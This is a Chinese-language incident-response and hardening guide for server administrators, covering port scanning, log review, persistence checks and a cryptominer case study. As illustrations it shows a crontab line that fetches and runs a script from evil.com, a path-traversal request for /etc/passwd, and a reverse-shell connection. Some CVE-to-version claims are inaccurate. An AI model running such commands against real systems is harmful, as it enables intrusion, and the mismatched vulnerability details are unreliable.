黑客入侵后IT人员才懂的端口扫描与漏洞排查全指南
嘿,朋友。
你是不是也经历过那种深夜三点被报警电话惊醒的日子?邮件系统崩了、数据库里多了几行奇怪的记录、服务器日志里满屏都是你看不懂的东西。等折腾到天亮,发现有人早就把你家”大门”当客厅了,还顺手把你的机密文件搬空了。
说实话,这种事发生之后,很多IT小哥会陷入自责,觉得是自己粗心大意。其实吧,问题从来不是”你太粗心”,而是”你根本不知道从哪里下手查”。
今天这篇指南,就是想帮你把那些乱七八糟的排查思路理顺。我会用大白话告诉你:端口扫描到底在扫什么?漏洞到底长什么样?怎么一步步找出问题?以及,怎么让别人下次进不来。
先搞明白:端口到底是啥玩意儿
想象一下,你的服务器就像一栋大楼。每个房间(服务)都有一扇门,这些”门”在网络上被称为端口。
- 21号门 = FTP文件传输
- 22号门 = SSH远程登录
- 80号门 = HTTP网页服务
- 443号门 = HTTPS加密网页
- 3306号门 = MySQL数据库
- 3389号门 = Windows远程桌面
黑客要进你家,第一步就是敲门。他们不知道你家有多少扇门,所以会逐间敲门试试开不开。这就是”端口扫描”——一种地毯式的试探攻击。
如果你的机器上开了100扇门,其中3扇是坏的(漏洞),黑客可能只需要试3次就能进来。
所以,排查的第一步就是:把你家所有开着门的门牌号都列出来。
第一步:端口扫描——先摸清家底
用Nmap扫一遍,你会看到什么?
Nmap是最经典的端口扫描工具,几乎所有Linux发行版都自带或者容易安装。
# 基础扫描:看看你的服务器对外暴露了哪些端口
nmap -sS -p- <你的服务器IP>
# -sS 是半开扫描,速度快且隐蔽
# -p- 表示扫描所有65535个端口
输出长这样:
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
443/tcp open https
3306/tcp open mysql
3389/tcp open mstermsvc
8080/tcp open http-proxy
看到没?你的3306(数据库)和3389(远程桌面)居然直接暴露在公网上了!这就像你家大门贴着小广告”密码123456,欢迎参观”。
进阶扫描:不仅看开没开,还要看跑的是啥
# 探测服务版本和系统信息
nmap -sV -O -p 22,80,443,3306,3389 <目标IP>
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
80/tcp open http Apache httpd 2.4.29
443/tcp open https Apache httpd 2.4.29 (OpenSSL/1.0.2)
3306/tcp open mysql MySQL 5.7.22
3389/tcp open msrpc Microsoft Terminal Service
这下清楚了:
- 你的SSH是7.4版本(2018年的,太老了)
- 你的Apache是2.4.29(2019年,也有已知漏洞)
- 你的MySQL是5.7.22(存在多个远程代码执行漏洞)
- 你的Windows远程桌面直接暴露在公网
每个数字背后都可能是一条活生生的攻击路径。
第二步:漏洞排查——逐一审视每个”门”
SSH:最常见的后门入口
SSH被爆破了,99%的情况是密码太弱或者暴力破解没封禁。
检查方法:
# 看看最近有没有人暴力尝试登录
grep "Failed password" /var/log/auth.log | awk '{print $(NF-3)}' | sort | uniq -c | sort -nr | head -20
输出:
15234 192.168.1.100
8921 10.0.0.55
3421 203.0.113.5
好家伙,192.168.1.100试了15000多次密码!这就是在暴力破解。
怎么修:
# 1. 禁用密码登录,只用密钥
vim /etc/ssh/sshd_config
# 改成这样:
PasswordAuthentication no
PubkeyAuthentication yes
PermitRootLogin no
# 2. 安装fail2ban自动封禁暴力破解
apt install fail2ban -y
Apache/Nginx:Web服务的漏洞
如果你的网站用了过时的Apache,黑客可以用CVE-2021-41773这种漏洞直接拿到服务器权限。
检查方法:
# 查看Apache版本
apache2 -v
# 检查有没有已知的CVE漏洞
# 访问 https://nvd.nist.gov 搜索你的版本
实战案例: 2021年有个叫Apache Path Traversal的漏洞,黑客只需要访问 /icons/..%2f..%2f..%2fetc/passwd 就能读到你的系统文件。
# 快速检测你的Apache是否存在这个漏洞
curl -I "http://你的IP/icons/..%2f..%2f..%2fetc/passwd"
如果返回的是200状态码,恭喜你,你中枪了。
怎么修:
# 升级Apache到最新稳定版
apt update && apt upgrade apache2 -y
MySQL:数据库裸奔是最蠢的事
如果你的3306端口直接对着互联网,那黑客只需要一个弱密码就能把你数据库拖库。
# 检查MySQL是否只允许本地连接
cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep bind-address
bind-address = 127.0.0.1 # 好的,只允许本地
bind-address = 0.0.0.0 # 坏的,允许任何人
检查有多少远程用户:
-- 用root登录MySQL后执行
SELECT user, host FROM mysql.user;
+---------------+-----------+
| user | host |
+---------------+-----------+
| root | localhost |
| admin | % | <-- 这个%意味着任何人都能连!
| app_user | 10.0.0.% | <-- 这个相对安全
+---------------+-----------+
怎么修:
-- 删掉允许任意主机登录的账号
DROP USER 'admin'@'%';
-- 或者限制特定IP
CREATE USER 'admin'@'10.0.0.5' IDENTIFIED BY 'StrongP@ssw0rd!';
GRANT ALL ON your_db.* TO 'admin'@'10.0.0.5';
Windows远程桌面(3389):简直是开门揖盗
如果你把3389直接暴露在公网,黑客会疯狂尝试爆破,而且RDP协议本身就有多个高危漏洞(如BlueKeep CVE-2019-0708)。
检查方法:
# 在Windows服务器上执行
Get-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server' -Name fDenyTSConnections
如果返回值是0,说明远程桌面是开启的。
怎么修:
# 1. 通过组策略禁用密码登录,改用NLA
# 2. 配置网络级别身份验证(NLA)
Set-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp' -Name UserAuthentication -Value 1
# 3. 最好直接用VPN连接,别暴露3389到公网
第三步:排查日志——看看黑客干了啥
端口扫描只是第一步,真正的排查要看日志。黑客进来了,他们肯定留下痕迹。
检查Apache访问日志
# 查看最近异常高的请求
grep -oP '^\d+\.\d+\.\d+\.\d+' /var/log/apache2/access.log | sort | uniq -c | sort -nr | head -20
52341 192.168.1.100 # 这个IP请求量异常高
8921 10.0.0.55
1023 203.0.113.5
然后看看这个异常IP具体访问了什么:
# 查看某个IP的请求详情
grep "192.168.1.100" /var/log/apache2/access.log | tail -50
192.168.1.100 - - [15/Jan/2024:03:14:22 +0800] "GET /wp-login.php HTTP/1.1" 200 5321
192.168.1.100 - - [15/Jan/2024:03:14:23 +0800] "POST /wp-login.php HTTP/1.1" 200 5321
192.168.1.100 - - [15/Jan/2024:03:14:25 +0800] "GET /xmlrpc.php HTTP/1.1" 200 4521
192.168.1.100 - - [15/Jan/2024:03:14:26 +0800] "GET /wp-content/plugins/shell.php HTTP/1.1" 200 1245
看到最后那行了吗?shell.php——这明显是个Webshell,黑客已经上传了后门程序,可以随意执行命令了。
检查Linux系统日志
# 查看最近登录记录
last -10
# 查看sudo使用记录
grep sudo /var/log/auth.log | tail -20
Jan 15 03:20:15 server sudo: hacker : TTY=pts/0 ; PWD=/tmp ; USER=root ; COMMAND=/bin/bash
看到没?某个叫”hacker”的用户用sudo执行了bash——这意味着黑客已经拿到了root权限。
检查有没有可疑进程
# 查看占用CPU最高的进程
top -b -n 1 | head -20
# 或者用htop(更直观)
htop
如果有名字奇怪、占用CPU很高的进程,很可能是挖矿病毒或者后门程序。
# 查看网络连接,找出可疑的外部连接
netstat -antp | grep ESTABLISHED
tcp 0 0 0.0.0.0:22 192.168.1.100:54321 ESTABLISHED 1234/sshd
tcp 0 0 0.0.0.0:80 10.0.0.5:12345 ESTABLISHED 5678/apache2
tcp 0 0 0.0.0.0:4444 203.0.113.5:9999 ESTABLISHED 9999/bash
最后那个4444端口? 这明显是个反向shell连接!黑客通过bash在203.0.113.5上控制你的服务器。赶紧kill掉它:
kill -9 9999
第四步:全面清查——别漏掉任何角落
检查定时任务
黑客喜欢设置定时任务来维持持久化访问:
# 查看crontab
crontab -l
# 查看系统级定时任务
ls -la /etc/crontab
cat /etc/crontab
# 查看系统定时任务目录
ls -la /etc/cron.d/
如果发现可疑内容,比如:
*/5 * * * * root curl http://evil.com/backdoor.sh | bash
这就是个恶意任务,每隔5分钟就从黑客服务器下载脚本执行。删掉它:
# 编辑crontab删除可疑项
crontab -e
检查启动项和系统服务
# 查看开机自启服务
systemctl list-unit-files | grep enabled
# 查看可疑的自启服务
systemctl list-unit-files --type=service | grep -v disabled
如果发现有名字奇怪的服务,比如 systemd-update-helper.service(正常系统服务不会叫这个),要去看看:
# 查看服务详情
systemctl status systemd-update-helper.service
# 查看服务对应的二进制文件
ls -la /usr/lib/systemd/system/systemd-update-helper.service
检查Webshell
如果怀疑网站被入侵,可以用工具扫描:
# 安装rkhunter进行系统扫描
apt install rkhunter -y
rkhunter --check
# 或者用webshell扫描工具
wget https://github.com/empos3r/Web-Shell-Scanner/archive/refs/heads/master.zip
unzip master.zip
cd Web-Shell-Scanner-master
php wss.php --path=/var/www/html --scan
检查系统完整性
# 检查系统文件是否被篡改
dpkg --verify
# 对比文件哈希
sha256sum /bin/ls /bin/ps /usr/bin/top
# 和已知干净的哈希值对比
第五步:补救措施——把漏洞堵上
1. 最小化端口暴露
原则:只开必要的端口,其余全封。
# 使用iptables设置防火墙规则
# 允许SSH、HTTP、HTTPS
iptables -A INPUT -p tcp --dport 22 -j ACCEPT
iptables -A INPUT -p tcp --dport 80 -j ACCEPT
iptables -A INPUT -p tcp --dport 443 -j ACCEPT
# 拒绝其他所有入站连接
iptables -A INPUT -j DROP
# 保存规则
iptables-save > /etc/iptables/rules.v4
2. 强密码策略
# 修改密码策略配置
vim /etc/login.defs
# PASSWORD Aging
PASS_MAX_DAYS 90 # 密码最多90天必须更换
PASS_MIN_DAYS 0
PASS_WARN_AGE 7 # 过期前7天提醒
# 密码复杂度要求(Debian/Ubuntu)
vim /etc/pam.d/common-password
# 添加:
password requisite pam_pwquality.so retry=3 minlen=12 difok=3 ucredit=-1 lcredit=-2 dcredit=-1 ocredit=-1
3. 安装并配置Fail2Ban
apt install fail2ban -y
# 配置SSH保护
cat > /etc/fail2ban/jail.local << 'EOF'
[DEFAULT]
bantime = 3600
findtime = 600
maxretry = 3
[sshd]
enabled = true
port = ssh
filter = sshd
logpath = /var/log/auth.log
maxretry = 3
bantime = 86400
EOF
systemctl enable fail2ban
systemctl restart fail2ban
4. 更新所有软件
# Debian/Ubuntu
apt update && apt upgrade -y
# CentOS/RHEL
yum update -y
5. 关闭不必要的服务
# 查看运行的服务
systemctl list-units --type=service --state=running
# 关闭不需要的服务
systemctl disable --now telnet.service
systemctl disable --now ftp.service
systemctl disable --now cups.service
第六步:监控与预警——下次别等被发现
部署入侵检测系统
# 安装OSSEC(主机入侵检测)
apt install ossec-hids -y
# 配置邮件告警
vim /var/ossec/etc/ossec.conf
<email_notification>yes</email_notification>
<email_to>admin@yourdomain.com</email_to>
<email_maxperhour>12</email_maxperhour>
配置日志集中收集
# 安装并配置rsyslog转发到日志服务器
vim /etc/rsyslog.conf
# 添加:
*.* @@日志服务器IP:514
设置实时告警
# 监控SSH暴力破解
tail -f /var/log/auth.log | grep --line-buffered "Failed password"
或者用更专业的方案,比如:
# 使用Wazuh进行集中监控
curl -sO https://packages.wazuh.com/4.x/gpg
gpg --import gpg
curl -sO https://packages.wazuh.com/4.x/apt.list
apt-get update
apt-get install wazuh-manager -y
实战案例复盘:某公司被入侵的完整排查过程
去年有家公司找我帮忙排查,他们的情况是这样的:
现象:
- 服务器CPU持续100%
- 网站访问变慢
- 用户反馈有奇怪弹窗
排查过程:
# 1. 先用top看看谁在吃CPU
top
PID USER PR NI VIRT RES SHR S %CPU %MEM COMMAND
9981 root 20 0 45212 12340 8900 R 98.5 2.1 xmrig
发现:有一个叫xmrig的进程,这是著名的加密货币挖矿木马。
# 2. 查看网络连接
netstat -antp | grep 9981
tcp 0 0 0.0.0.0:3333 0.0.0.0:* LISTEN 9981/xmrig
tcp 0 0 1.2.3.4:54321 45.33.33.33:3333 ESTABLISHED 9981/xmrig
发现:正在连接挖矿池服务器进行挖矿。
# 3. 查找挖矿程序来源
ls -la /tmp/xmrig
ls -la /usr/bin/xmrig
-rwxr-xr-x 1 root root 15234560 Jan 15 02:00 /tmp/xmrig
-rwxr-xr-x 1 root root 15234560 Jan 15 02:00 /usr/bin/xmrig
发现:程序被放到了/tmp和/usr/bin两个地方。
# 4. 查看如何获得执行权限
crontab -l | grep xmrig
*/5 * * * * /tmp/xmrig --donate-level=1 --url=stratum+tcp://pool.minexmr.com:4444
发现:定时任务每5分钟执行一次。
# 5. 查看入侵入口
grep -i "failed" /var/log/auth.log | grep -v "Accepted" | wc -l
15234
发现:SSH被暴力破解了15000多次。
修复措施:
# 1. 杀掉挖矿进程
kill -9 9981
# 2. 删除挖矿程序
rm -f /tmp/xmrig /usr/bin/xmrig
# 3. 清除定时任务
crontab -r
# 4. 封禁攻击IP
iptables -A INPUT -s 45.33.33.33 -j DROP
# 5. 加强SSH安全
vim /etc/ssh/sshd_config
# 禁用密码登录
PasswordAuthentication no
# 只允许特定用户登录
AllowUsers admin
# 6. 重启SSH服务
systemctl restart sshd
# 7. 修改所有账号密码
passwd root
passwd admin
事后总结: 这家公司的SSH密码是123456,被暴力破解后,黑客上传了挖矿木马。整个排查过程花了2小时,但如果提前配置好Fail2Ban和密钥登录,这种事情根本不会发生。
给你的日常检查清单
把这份清单打印出来,每周检查一次:
- [ ] 端口检查:
nmap -sS -p- 你的服务器IP,确认没有意外暴露的端口 - [ ] 用户检查:
cat /etc/passwd,确认没有陌生账号 - [ ] 登录检查:
last -10,确认没有陌生IP登录 - [ ] 进程检查:
top,确认没有异常高CPU进程 - [ ] 网络连接:
netstat -antp,确认没有可疑外部连接 - [ ] 定时任务:
crontab -l和ls /etc/cron.d/,确认没有恶意任务 - [ ] Webshell检查:用扫描工具检查网站目录
- [ ] 日志检查:查看异常登录和错误日志
- [ ] 系统更新:
apt update && apt upgrade -y - [ ] 备份验证:确认最近有成功的备份
写在最后
排查服务器入侵就像破案。你需要:
- 摸清现场:端口扫描,知道哪些门开着
- 寻找痕迹:检查日志,看黑客来过
- 抓住现行:发现恶意进程和连接
- 堵住漏洞:修复安全问题
- 安装监控:下次提前报警
记住,安全不是一次性的工作,而是持续的过程。每次排查完,都要问自己:下次还能不能更快发现?下次能不能让黑客根本进不来?
如果你现在就去检查自己的服务器,可能会发现一些让你后背发凉的东西。别怕,发现了就好,知道了就能修。最怕的是不知道自己已经被黑了。
希望这篇指南能帮到你。有什么问题随时问,祝你服务器平平安安。
